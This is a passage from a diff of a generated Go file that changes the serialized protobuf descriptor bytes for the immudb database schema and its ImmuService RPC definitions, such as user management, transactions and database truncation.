0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, + 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, + 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, + 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, + 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, + 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, - 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, - 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, - 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, - 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, - 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, - 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, - 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, - 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, - 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, + 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, + 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, + 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, + 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, + 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, + 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, + 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, + 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, + 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, + 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, - 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, - 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, - 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, - 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, - 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, - 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, - 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, - 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, - 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, - 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xa6, 0x35, 0x0a, 0x0b, - 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, - 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, - 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, - 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, - 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, - 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, - 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, - 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, + 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, + 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, + 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, + 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, + 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, + 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, + 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, + 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, + 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xa6, 0x35, 0x0a, 0x0b, 0x49, 0x6d, + 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, + 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, + 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, + 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, + 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, + 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, + 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, - 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, - 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, - 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, + 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 